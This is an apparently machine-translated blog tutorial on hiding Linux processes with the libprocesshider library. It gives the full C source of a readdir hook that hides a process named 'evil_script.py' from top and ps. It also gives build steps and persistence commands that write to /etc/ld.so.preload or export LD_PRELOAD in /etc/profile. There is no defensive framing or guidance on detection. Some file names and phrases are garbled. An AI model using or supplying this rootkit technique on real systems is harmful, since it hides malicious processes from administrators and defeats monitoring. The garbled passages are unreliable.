A method of hiding processes under linux and pits encountered

  • 2020-11-20 06:24:04
  • OfStack

preface

1. This paper used tool in https: / / github com gianlucaborello/libprocesshider available for download

2. The idea is to use LD_PRELOAD to achieve system function hijacking

What IS LD_PRELOAD:

LD_PRELOAD is an environment variable in the Linux system that affects the run-time linking of the program (Runtime linker). It allows you to define dynamic linking libraries that are loaded before the program is run. The main purpose of this feature is to selectively load the same functions in different dynamically linked libraries. With this environment variable, we can load other dynamically linked libraries in the middle of the main program and its dynamically linked libraries, or even override the normal function libraries. In one aspect, we can use this functionality to use our own or better functions (without someone else's source code), and in another aspect, we can inject programs into someone else's program for a specific purpose.

implementation

1. Download and compile the program


bmfxgkpt-yhd:~# git clone https://github.com/gianlucaborello/libprocesshider.git
Cloning into 'libprocesshider'...
remote: Counting objects: 26, done.
remote: Total 26 (delta 0), reused 0 (delta 0), pack-reused 26
Unpacking objects: 100% (26/26), done.
bmfxgkpt-yhd:~# cd libprocesshider/
bmfxgkpt-yhd:~/libprocesshider# make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
bmfxgkpt-yhd:~/libprocesshider#

2. Move the file to /usr/local/lib/ directory

mv libprocesshider.so /usr/local/lib/

3. Load it into the global Dynamic connection bureau

echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

test

1. We run evil_ES46en.py

2. At this time, it was found that es53EN_script.py could not be found in top and ps

At this point we found cpu 100%, but we couldn't find any programs that took up cpu high

Analysis of the


#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/*
 * Every process with this name will be excluded
 */
static const char* process_to_filter = "evil_script.py";
/*
 * Get a directory name given a DIR* handle
 */
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
  int fd = dirfd(dirp);
  if(fd == -1) {
    return 0;
  }
  char tmp[64];
  snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
  ssize_t ret = readlink(tmp, buf, size);
  if(ret == -1) {
    return 0;
  }
  buf[ret] = 0;
  return 1;
}
/*
 * Get a process name given its pid
 */
static int get_process_name(char* pid, char* buf)
{
  if(strspn(pid, "0123456789") != strlen(pid)) {
    return 0;
  }
  char tmp[256];
  snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
  FILE* f = fopen(tmp, "r");
  if(f == NULL) {
    return 0;
  }
  if(fgets(tmp, sizeof(tmp), f) == NULL) {
    fclose(f);
    return 0;
  }
  fclose(f);
  int unused;
  sscanf(tmp, "%d (%[^)]s", &unused, buf);
  return 1;
}
#define DECLARE_READDIR(dirent, readdir)                \
static struct dirent* (*original_##readdir)(DIR*) = NULL;        \
struct dirent* readdir(DIR *dirp)                    \
{                                    \
  if(original_##readdir == NULL) {                  \
    original_##readdir = dlsym(RTLD_NEXT, "readdir");        \
    if(original_##readdir == NULL)                 \
    {                                \
      fprintf(stderr, "Error in dlsym: %s\n", dlerror());     \
    }                                \
  }                                  \
  struct dirent* dir;                         \
  while(1)                              \
  {                                  \
    dir = original_##readdir(dirp);                 \
    if(dir) {                            \
      char dir_name[256];                     \
      char process_name[256];                   \
      if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&    \
        strcmp(dir_name, "/proc") == 0 &&            \
        get_process_name(dir->d_name, process_name) &&     \
        strcmp(process_name, process_to_filter) == 0) {     \
        continue;                        \
      }                              \
    }                                \
    break;                             \
  }                                  \
  return dir;                             \
}
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

1. The program defines a variable process_to_filter to control which process name is not displayed

2. Rewrite readdir,

strcmp(process_name, process_to_filter) == 0)

When the current process name is found to be the same as process_to_filter, the loop continues.

In the pit of

1. This program does not compile in some Linux

The solution

Delete one of the last two lines


DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

2. Used in some Linux


shell echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
 It doesn't work 
  At this point we need to configure the environment variables 
shell bmfxgkpt-yhd:~# vi /etc/profile
 increase 1 line 
shell export LD_PRELOAD=/usr/local/lib/libprocesshider.so

conclusion


Related articles: